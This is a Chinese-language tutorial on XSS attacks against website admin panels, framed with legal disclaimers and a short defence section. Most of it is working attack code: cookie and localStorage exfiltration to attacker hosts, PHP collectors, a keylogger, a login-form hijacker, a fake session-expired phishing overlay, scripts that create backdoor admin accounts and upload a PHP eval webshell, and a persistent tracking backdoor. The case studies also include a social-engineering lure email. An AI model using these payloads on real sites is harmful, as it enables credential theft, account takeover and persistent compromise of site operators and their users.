法律声明与道德约束

本教程仅供授权安全测试和学习研究使用!

  • 未经授权访问他人系统属于违法犯罪行为
  • 请确保获得明确的书面授权再进行安全测试
  • 仅在自己搭建的测试环境或授权范围内练习
  • 违反法律规定造成的一切后果由行为人自负

1. XSS后台登录攻击概述

XSS后台登录攻击是指利用跨站脚本漏洞,通过各种技术手段获取网站后台管理员权限的攻击方式。这是渗透测试中非常重要的一环,成功获取后台权限后,攻击者可以:

  • 数据窃取:访问敏感数据、用户信息、数据库内容
  • 权限提升:创建新管理员账号、修改现有账号权限
  • 网站篡改:修改网站内容、上传恶意文件
  • 横向渗透:以后台为跳板攻击内网其他系统
  • 持久化控制:植入Webshell、后门程序

攻击前提条件

  • 网站存在XSS漏洞(反射型、存储型或DOM型)
  • 能够诱导管理员触发XSS(存储型XSS更容易)
  • 管理员在有效会话期内(未退出登录)
  • 或者能够捕获管理员的登录凭证

2. 常见攻击场景

场景一:用户留言/评论系统

管理员需要审核用户提交的留言、评论、反馈等内容。攻击者在这些地方插入XSS代码,当管理员查看时触发。

场景示意图

用户 提交XSS 留言板/评论 <script> XSS代码 </script> 查看 管理员 XSS触发 攻击者 服务器 Cookie接收 攻击流程: 1. 用户提交包含XSS的留言 2. 管理员在后台审核留言 3. XSS代码触发,Cookie被窃取 4. Cookie发送到攻击者服务器

用户提交表单 → 插入XSS代码 → 管理员后台审核 → XSS触发

场景二:个人资料页面

用户可以编辑个人资料(昵称、签名、简介等),管理员可能会查看用户资料。在这些字段中插入XSS代码。

场景三:工单/客服系统

提交工单或客服咨询时,客服人员或管理员必然会查看工单内容,这是非常理想的XSS触发场景。

场景四:文件上传功能

上传包含XSS代码的文件(如SVG、HTML、XML),管理员预览或查看文件列表时触发。

典型攻击流程

步骤1:侦察阶段
寻找XSS注入点,测试过滤规则,确定管理员可能访问的页面
步骤2:Payload构造
编写Cookie窃取、键盘记录或会话劫持代码
步骤3:诱导触发
通过留言、工单等方式让管理员访问含有XSS的页面
步骤4:凭证获取
接收被窃取的Cookie、密码或会话信息
步骤5:后台登录
使用获取的凭证登录后台管理系统

这是最常见也是最直接的方法。通过XSS窃取管理员的Session Cookie,然后使用Cookie登录后台。

1 寻找输入点

在网站上寻找所有可以输入内容的地方:

  • 用户留言板、评论区
  • 个人资料编辑(昵称、签名、简介)
  • 搜索框、反馈表单
  • 工单系统、客服对话
  • URL参数

2 测试XSS漏洞

尝试插入测试代码:

<!-- 基础测试 -->
<script>alert('XSS')</script>

<!-- 绕过简单过滤 -->
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>

<!-- 事件处理器 -->
<input onfocus=alert('XSS') autofocus>
<marquee onstart=alert('XSS')>

<!-- 编码绕过 -->
<script>eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))</script>

3 确认管理员会访问

确保注入的XSS代码会被管理员看到。存储型XSS最理想,因为管理员必然会查看后台内容。

XSS注入点测试

https://target-site.com/message 留言板 标题: 网站建议 内容: <script>alert('XSS')</script> <img src=x onerror=alert('XSS')> <svg onload=alert('XSS')> 提交 测试是否存在XSS漏洞 提交后查看是否弹出alert弹窗

在留言板输入测试代码 → 提交 → 查看是否触发弹窗

基础Cookie窃取代码

// 方法1: 直接发送到远程服务器
<script>
var img = new Image();
img.src = 'http://your-server.com/cookie.php?c=' + encodeURIComponent(document.cookie);
</script>

// 方法2: 使用fetch API
<script>
fetch('http://your-server.com/cookie.php', {
    method: 'POST',
    body: JSON.stringify({
        cookie: document.cookie,
        url: window.location.href,
        userAgent: navigator.userAgent
    })
});
</script>

// 方法3: 使用XMLHttpRequest
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://your-server.com/cookie.php?c=' + document.cookie, true);
xhr.send();
</script>

绕过HttpOnly的Cookie窃取

如果Cookie设置了HttpOnly标志,无法直接通过JavaScript读取。但可以尝试以下方法:

// 方法1: 劫持XMLHttpRequest,捕获请求中的Cookie
<script>
var originalOpen = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function(method, url) {
    // 拦截请求
    this.addEventListener('load', function() {
        // 发送响应到攻击者服务器
        var img = new Image();
        img.src = 'http://your-server.com/log.php?data=' + encodeURIComponent(this.responseText);
    });
    return originalOpen.apply(this, arguments);
};
</script>

// 方法2: 获取页面中的CSRF Token或其他凭证
<script>
var token = document.querySelector('[name="csrf-token"]').content;
var img = new Image();
img.src = 'http://your-server.com/token.php?t=' + token;
</script>

// 方法3: 直接在管理员会话中执行操作
<script>
// 创建新管理员账号
fetch('/admin/user/add', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
        username: 'hacker',
        password: 'P@ssw0rd!',
        role: 'admin'
    })
});
</script>

完整的Cookie窃取Payload(带混淆)

// 混淆后的Cookie窃取代码
<script>
(function() {
    // 收集信息
    var data = {
        cookie: document.cookie,
        url: window.location.href,
        referrer: document.referrer,
        userAgent: navigator.userAgent,
        localStorage: JSON.stringify(localStorage),
        sessionStorage: JSON.stringify(sessionStorage),
        timestamp: new Date().toISOString()
    };
    
    // 发送到攻击者服务器
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://your-server.com/steal.php', true);
    xhr.setRequestHeader('Content-Type', 'application/json');
    xhr.send(JSON.stringify(data));
    
    // 备用方法:使用Image对象
    setTimeout(function() {
        var img = new Image();
        img.src = 'http://your-server.com/steal.php?d=' + btoa(JSON.stringify(data));
    }, 1000);
})();
</script>

接收Cookie的服务器端代码(PHP)

<?php
// cookie.php - 接收并保存Cookie的PHP脚本

// 设置允许跨域
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST');
header('Access-Control-Allow-Headers: Content-Type');

// 获取数据
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $data = file_get_contents('php://input');
    $json = json_decode($data, true);
    $cookie = $json['cookie'] ?? '';
    $url = $json['url'] ?? '';
    $userAgent = $json['userAgent'] ?? '';
} else {
    $cookie = $_GET['c'] ?? '';
    $url = $_SERVER['HTTP_REFERER'] ?? '';
    $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
}

// 保存到文件
$logFile = 'cookies.txt';
$logData = sprintf(
    "[%s]\nCookie: %s\nURL: %s\nUser-Agent: %s\n%s\n\n",
    date('Y-m-d H:i:s'),
    $cookie,
    $url,
    $userAgent,
    str_repeat('-', 80)
);

file_put_contents($logFile, $logData, FILE_APPEND);

// 返回1x1透明图片,避免被发现
header('Content-Type: image/gif');
echo base64_decode('R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7');
?>

1 存储型XSS场景

在留言板、评论区等地方提交包含XSS代码的内容:

<!-- 示例:在留言板提交 -->
标题: 网站建议
内容: 你好,我发现网站有个小问题...<script src="http://your-server.com/xss.js"></script>

2 反射型XSS场景

构造恶意链接,通过社会工程学诱导管理员点击:

<!-- 示例:构造恶意链接 -->
http://target-site.com/search?q=<script>/* XSS代码 */</script>

<!-- 发送给管理员的邮件内容 -->
主题: 紧急:网站搜索功能异常
内容: 
管理员您好,
我在使用搜索功能时发现异常,请点击以下链接查看:
[恶意链接]
谢谢!

3 等待触发

监控你的服务器日志,等待Cookie数据到来:

# Linux服务器实时监控Cookie文件
tail -f /var/www/html/cookies.txt

# 或者使用Python简单HTTP服务器
python3 -m http.server 80

# 查看访问日志
tail -f /var/log/apache2/access.log

接收到的Cookie数据示意图

terminal - tail -f cookies.txt [2025-01-23 10:30:15] Cookie: PHPSESSID=abc123xyz; admin_token=eyJhbGc... URL: http://target-site.com/admin/messages User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64) ----------------------------------------------------------- [2025-01-23 10:31:42] Cookie: session_id=xyz789abc; auth=Bearer... URL: http://target-site.com/admin/users User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64)

cookies.txt文件内容:
[2025-01-23 10:30:15]
Cookie: PHPSESSID=abc123xyz; admin_token=eyJhbGc...
URL: http://target-site.com/admin/messages
User-Agent: Mozilla/5.0...

获取到Cookie后,使用浏览器的开发者工具设置Cookie并登录:

1 打开后台登录页面

访问目标网站的后台地址,如:http://target-site.com/admin

2 设置Cookie

按F12打开开发者工具,切换到Console(控制台),粘贴以下代码:

// 设置窃取到的Cookie
document.cookie = "PHPSESSID=abc123xyz; path=/";
document.cookie = "admin_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...; path=/";

// 或者批量设置
var cookies = "PHPSESSID=abc123xyz; admin_token=eyJhbGc...";
cookies.split('; ').forEach(function(c) {
    var parts = c.split('=');
    document.cookie = parts[0] + '=' + parts[1] + '; path=/';
});

// 刷新页面
location.reload();

3 验证登录

刷新页面后,如果Cookie有效,应该会直接进入后台管理界面。

Cookie窃取攻击总结

优点

  • 简单直接,成功率高
  • 不需要知道管理员密码
  • 可以收集多种信息(localStorage、sessionStorage等)

缺点

  • HttpOnly Cookie无法直接窃取
  • Cookie可能有过期时间
  • 某些网站绑定IP地址验证
  • 需要外部服务器接收数据

4. 方法二:获取登录密码

如果Cookie窃取失败或Cookie设置了HttpOnly,可以尝试直接获取管理员的登录密码。

4.1 键盘记录器方式

在管理员访问的页面中注入键盘记录脚本,记录所有键盘输入:

// 完整的键盘记录器XSS Payload
<script>
(function() {
    var keys = [];
    var server = 'http://your-server.com/keylog.php';
    
    // 监听键盘事件
    document.addEventListener('keydown', function(e) {
        var key = {
            key: e.key,
            code: e.code,
            time: new Date().toISOString(),
            url: window.location.href,
            target: e.target.tagName + (e.target.name ? '[name="' + e.target.name + '"]' : '')
        };
        
        keys.push(key);
        
        // 每10个按键或按下回车时发送
        if (keys.length >= 10 || e.key === 'Enter') {
            sendKeys();
        }
    });
    
    // 定时发送(每30秒)
    setInterval(sendKeys, 30000);
    
    // 页面卸载时发送
    window.addEventListener('beforeunload', sendKeys);
    
    function sendKeys() {
        if (keys.length === 0) return;
        
        var xhr = new XMLHttpRequest();
        xhr.open('POST', server, true);
        xhr.setRequestHeader('Content-Type', 'application/json');
        xhr.send(JSON.stringify({
            keys: keys,
            url: window.location.href,
            cookie: document.cookie
        }));
        
        keys = [];
    }
})();
</script>

服务器端接收代码(PHP)

<?php
// keylog.php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST');
header('Access-Control-Allow-Headers: Content-Type');

$data = file_get_contents('php://input');
$json = json_decode($data, true);

$logFile = 'keylogs.txt';
$logData = sprintf(
    "[%s]\nURL: %s\nKeys: %s\n%s\n\n",
    date('Y-m-d H:i:s'),
    $json['url'] ?? '',
    json_encode($json['keys'] ?? [], JSON_PRETTY_PRINT),
    str_repeat('-', 80)
);

file_put_contents($logFile, $logData, FILE_APPEND);

echo json_encode(['status' => 'ok']);
?>

4.2 表单劫持方式

劫持登录表单的提交事件,在提交前窃取用户名和密码:

// 表单劫持XSS Payload
<script>
(function() {
    // 等待DOM加载完成
    if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', hookForms);
    } else {
        hookForms();
    }
    
    function hookForms() {
        // 劫持所有表单
        var forms = document.querySelectorAll('form');
        forms.forEach(function(form) {
            form.addEventListener('submit', function(e) {
                // 收集表单数据
                var formData = {};
                var inputs = form.querySelectorAll('input, textarea, select');
                
                inputs.forEach(function(input) {
                    if (input.name) {
                        formData[input.name] = input.value;
                    }
                });
                
                // 发送到攻击者服务器
                var xhr = new XMLHttpRequest();
                xhr.open('POST', 'http://your-server.com/formdata.php', true);
                xhr.setRequestHeader('Content-Type', 'application/json');
                xhr.send(JSON.stringify({
                    url: window.location.href,
                    action: form.action,
                    method: form.method,
                    data: formData,
                    timestamp: new Date().toISOString()
                }));
                
                // 不阻止表单正常提交,避免被发现
                // 如果想阻止提交,取消注释下一行
                // e.preventDefault();
            });
        });
        
        // 监听动态添加的表单
        var observer = new MutationObserver(function(mutations) {
            mutations.forEach(function(mutation) {
                mutation.addedNodes.forEach(function(node) {
                    if (node.tagName === 'FORM') {
                        hookForms();
                    }
                });
            });
        });
        
        observer.observe(document.body, {
            childList: true,
            subtree: true
        });
    }
})();
</script>

4.3 钓鱼页面方式

在页面中插入一个伪造的登录框,诱导管理员输入密码:

// 钓鱼登录框XSS Payload
<script>
(function() {
    // 创建遮罩层
    var overlay = document.createElement('div');
    overlay.style.cssText = 'position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.8); z-index: 999999; display: flex; align-items: center; justify-content: center;';
    
    // 创建登录框
    var loginBox = document.createElement('div');
    loginBox.style.cssText = 'background: white; padding: 30px; border-radius: 8px; box-shadow: 0 4px 20px rgba(0, 0, 0, 0.3); max-width: 400px; width: 90%;';
    
    loginBox.innerHTML = '<h2 style="color: #333; margin-bottom: 20px;">会话已过期</h2><p style="color: #666; margin-bottom: 20px;">您的会话已过期,请重新登录</p><form id="phishing-form"><input type="text" id="username" placeholder="用户名" style="width: 100%; padding: 10px; margin-bottom: 10px; border: 1px solid #ddd; border-radius: 4px;"><input type="password" id="password" placeholder="密码" style="width: 100%; padding: 10px; margin-bottom: 20px; border: 1px solid #ddd; border-radius: 4px;"><button type="submit" style="width: 100%; padding: 10px; background: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer;">登录</button></form>';
    
    overlay.appendChild(loginBox);
    document.body.appendChild(overlay);
    
    // 处理表单提交
    document.getElementById('phishing-form').addEventListener('submit', function(e) {
        e.preventDefault();
        
        var username = document.getElementById('username').value;
        var password = document.getElementById('password').value;
        
        // 发送到攻击者服务器
        var xhr = new XMLHttpRequest();
        xhr.open('POST', 'http://your-server.com/phishing.php', true);
        xhr.setRequestHeader('Content-Type', 'application/json');
        xhr.send(JSON.stringify({
            username: username,
            password: password,
            url: window.location.href,
            cookie: document.cookie
        }));
        
        // 显示"登录中",然后移除遮罩
        loginBox.innerHTML = '<p style="text-align: center; color: #333;">登录中...</p>';
        setTimeout(function() {
            overlay.remove();
        }, 1500);
    });
})();
</script>

钓鱼登录框效果示意图

网站内容... 会话已过期 您的会话已过期,请重新登录 用户名 密码 登录 ! ← 假的登录框,用于窃取密码

半透明黑色遮罩 + 白色登录框居中显示
"会话已过期,请重新登录"
用户名输入框 + 密码输入框 + 登录按钮

5. 方法三:会话劫持技术

即使无法获取Cookie,也可以直接在管理员的会话中执行操作:

// 会话劫持 - 直接创建新管理员账号
<script>
(function() {
    // 方法1: 使用fetch创建新管理员
    fetch('/admin/user/create', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            'X-Requested-With': 'XMLHttpRequest'
        },
        body: JSON.stringify({
            username: 'backdoor_admin',
            password: 'P@ssw0rd123!',
            email: 'backdoor@evil.com',
            role: 'administrator'
        }),
        credentials: 'include'  // 包含Cookie
    })
    .then(response => response.json())
    .then(data => {
        // 通知攻击者
        var img = new Image();
        img.src = 'http://your-server.com/notify.php?status=success&user=backdoor_admin';
    })
    .catch(error => {
        var img = new Image();
        img.src = 'http://your-server.com/notify.php?status=error&msg=' + encodeURIComponent(error);
    });
    
    // 方法2: 修改现有账号密码
    setTimeout(function() {
        fetch('/admin/user/1/password', {
            method: 'PUT',
            headers: {'Content-Type': 'application/json'},
            body: JSON.stringify({
                password: 'NewP@ssw0rd123!',
                password_confirmation: 'NewP@ssw0rd123!'
            }),
            credentials: 'include'
        });
    }, 2000);
    
    // 方法3: 上传Webshell
    setTimeout(function() {
        var formData = new FormData();
        var shellContent = '<?php @eval($_POST["cmd"]); ?>';
        var blob = new Blob([shellContent], {type: 'application/x-php'});
        formData.append('file', blob, 'config.php');
        
        fetch('/admin/file/upload', {
            method: 'POST',
            body: formData,
            credentials: 'include'
        });
    }, 4000);
})();
</script>

会话劫持技巧

  • 不需要窃取Cookie,直接在受害者浏览器中执行操作
  • 可以绕过IP地址验证、设备指纹等限制
  • 适合HttpOnly Cookie的场景
  • 操作隐蔽,不易被发现
  • 可以执行任何管理员权限的操作

6. 方法四:植入后门脚本

如果XSS是存储型的,可以植入持久化后门,每次管理员访问都触发:

// 持久化后门脚本
<script src="http://your-server.com/backdoor.js"></script>

// backdoor.js 内容
(function() {
    // 检查是否在管理后台
    if (!window.location.pathname.startsWith('/admin')) {
        return;
    }
    
    // 收集后台信息
    var adminInfo = {
        url: window.location.href,
        cookie: document.cookie,
        localStorage: JSON.stringify(localStorage),
        username: document.querySelector('.admin-username')?.textContent,
        role: document.querySelector('.admin-role')?.textContent,
        timestamp: new Date().toISOString()
    };
    
    // 发送信息
    fetch('http://your-server.com/admin-tracker.php', {
        method: 'POST',
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify(adminInfo)
    });
    
    // 每次页面切换都发送
    var originalPushState = history.pushState;
    history.pushState = function() {
        originalPushState.apply(history, arguments);
        setTimeout(function() {
            fetch('http://your-server.com/admin-tracker.php', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({
                    url: window.location.href,
                    action: 'navigation'
                })
            });
        }, 500);
    };
    
    // 监听管理员的所有操作
    document.addEventListener('click', function(e) {
        if (e.target.tagName === 'A' || e.target.closest('a')) {
            var link = e.target.closest('a');
            fetch('http://your-server.com/admin-tracker.php', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({
                    action: 'click',
                    href: link.href,
                    text: link.textContent
                })
            });
        }
    });
})();

7. 使用XSS平台进行攻击

使用专业的XSS平台(如蓝莲花XSS平台)可以大大简化攻击流程:

7.1 注册XSS平台账号

访问 https://xss.li 注册账号并登录。

7.2 创建项目

1 在平台中创建新项目,填写项目名称(如"目标网站后台渗透")

2 选择模板:Cookie获取、键盘记录、截屏等

3 获取XSS代码

// 平台生成的XSS代码示例
<script src="http://xss.li/xss.js?project=abc123"></script>

// 或者使用短链接
<script src="http://xss.li/a1b2c3"></script>

7.3 植入XSS代码

将平台生成的代码插入到目标网站的XSS注入点。

7.4 查看日志

在XSS平台的控制面板中实时查看:

  • 触发时间
  • IP地址和地理位置
  • 浏览器信息
  • 窃取的Cookie
  • 键盘记录
  • 页面截图

XSS平台控制面板示意图

蓝莲花XSS平台 A 项目列表 目标网站后台渗透 6次触发 Cookie获取测试 键盘记录器测试 触发记录 时间 IP地址 浏览器 10:30:15 192.168.1.100 Chrome 120 10:31:42 192.168.1.100 Chrome 120 09:15:20 10.0.0.50 Firefox 115 详细信息 Cookie: PHPSESSID=abc123... admin_token=eyJ... user_id=123456 键盘记录: admin / P@ssw0rd... 截图: 页面截图

左侧:项目列表
中间:触发记录列表(时间、IP、浏览器)
右侧:详细信息(Cookie、键盘记录、截图)

使用XSS平台的优势

  • ✅ 无需自己搭建服务器
  • ✅ 提供可视化管理界面
  • ✅ 自动分类和存储数据
  • ✅ 支持多种攻击模板
  • ✅ 实时通知功能
  • ✅ 支持团队协作
  • ✅ 数据加密存储

8. 防御措施

作为安全测试人员,也需要了解如何防御这些攻击:

8.1 输入验证与输出编码

// PHP示例:输出时进行HTML编码
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

// JavaScript示例:使用textContent而非innerHTML
element.textContent = userInput;  // 安全
// element.innerHTML = userInput;  // 危险

8.2 设置HttpOnly和Secure标志

// PHP设置Cookie时添加HttpOnly和Secure
setcookie(
    'session_id',
    $session_id,
    [
        'expires' => time() + 3600,
        'path' => '/',
        'domain' => '.example.com',
        'secure' => true,      // 仅HTTPS传输
        'httponly' => true,    // 禁止JavaScript访问
        'samesite' => 'Strict' // 防止CSRF
    ]
);

8.3 配置内容安全策略(CSP)

<!-- 在HTML中设置CSP -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self' 'nonce-random123'; 
               style-src 'self' 'unsafe-inline'; 
               img-src 'self' data: https:;">

<!-- 或在HTTP响应头中设置 -->
Content-Security-Policy: default-src 'self'; script-src 'self'

8.4 使用WAF(Web应用防火墙)

  • ModSecurity
  • Cloudflare WAF
  • 阿里云WAF
  • 腾讯云WAF

8.5 管理员安全意识培训

管理员应该做到

  • 不在后台长时间保持登录状态
  • 定期清除浏览器Cookie
  • 使用专用浏览器或隐私模式访问后台
  • 不点击可疑链接
  • 发现异常立即退出登录
  • 启用双因素认证(2FA)
  • 定期检查登录日志

9. 实战案例分析

案例一:某论坛管理后台Cookie窃取

攻击过程

1. 发现漏洞
在论坛的用户签名功能中发现存储型XSS漏洞,允许HTML标签
2. 植入代码
修改个人签名为:<script src="http://evil.com/xss.js"></script>
3. 发帖引流
在论坛发布热门话题帖,吸引管理员查看(管理员会看到签名)
4. 获取Cookie
管理员查看帖子时,XSS触发,Cookie被发送到攻击者服务器
5. 登录后台
使用窃取的Cookie成功登录论坛管理后台

关键点

  • 签名在所有帖子中都会显示,增加触发概率
  • 管理员经常查看论坛内容,触发XSS的可能性很高
  • 该论坛Cookie未设置HttpOnly,可以直接读取

案例二:客服系统表单劫持

攻击过程

1. 提交工单
在客服系统提交工单,内容包含表单劫持XSS代码
2. 客服查看
客服人员在后台查看工单时,XSS代码注入到页面
3. 密码窃取
表单劫持脚本记录客服/管理员在系统内的所有操作,包括密码修改等
4. 获取凭证
攻击者服务器接收到管理员账号和密码
5. 后台登录
使用获取的账号密码直接登录管理后台

案例三:会话劫持创建后门账号

攻击场景:某电商网站的商品评论功能

攻击步骤

  1. 购买商品后,在评论中插入会话劫持XSS代码
  2. 管理员审核评论时,XSS代码自动执行
  3. 脚本在管理员会话中创建新的管理员账号
  4. 攻击者使用新创建的账号登录后台
  5. 即使原管理员退出登录,新账号仍然有效
// 评论中插入的XSS代码
商品很好!推荐购买!
<img src=x onerror="
fetch('/admin/api/user/create',{
    method:'POST',
    headers:{'Content-Type':'application/json'},
    body:JSON.stringify({
        username:'system_backup',
        password:'B@ckup2025!',
        email:'backup@system.local',
        role:'superadmin'
    }),
    credentials:'include'
}).then(()=>{
    new Image().src='http://evil.com/success.php?user=system_backup'
})
">

防御改进

  • 评论内容严格过滤HTML标签
  • 创建管理员需要额外验证(邮件确认、2FA)
  • 记录所有管理员创建操作的日志
  • 实施CSP策略阻止外部资源加载

学习总结

通过本教程,你已经掌握了:

  • ✅ XSS后台登录攻击的4种主要方法
  • ✅ Cookie窃取的完整流程和代码实现
  • ✅ 密码获取的3种技术(键盘记录、表单劫持、钓鱼)
  • ✅ 会话劫持和后门植入技术
  • ✅ 使用XSS平台简化攻击流程
  • ✅ 完整的防御措施和最佳实践
  • ✅ 真实案例的攻击思路分析

重要提醒:请务必在合法授权的环境中练习这些技术!

法律责任

根据《中华人民共和国网络安全法》、《刑法》等相关法律规定:

  • 未经授权访问计算机信息系统,最高可判处三年以上有期徒刑
  • 窃取、破坏数据造成严重后果的,最高可判处七年以上有期徒刑
  • 提供黑客工具、技术支持的,同样承担法律责任

请遵守法律,合理使用安全技术!

上一篇:使用Cookie登录网站 返回知识库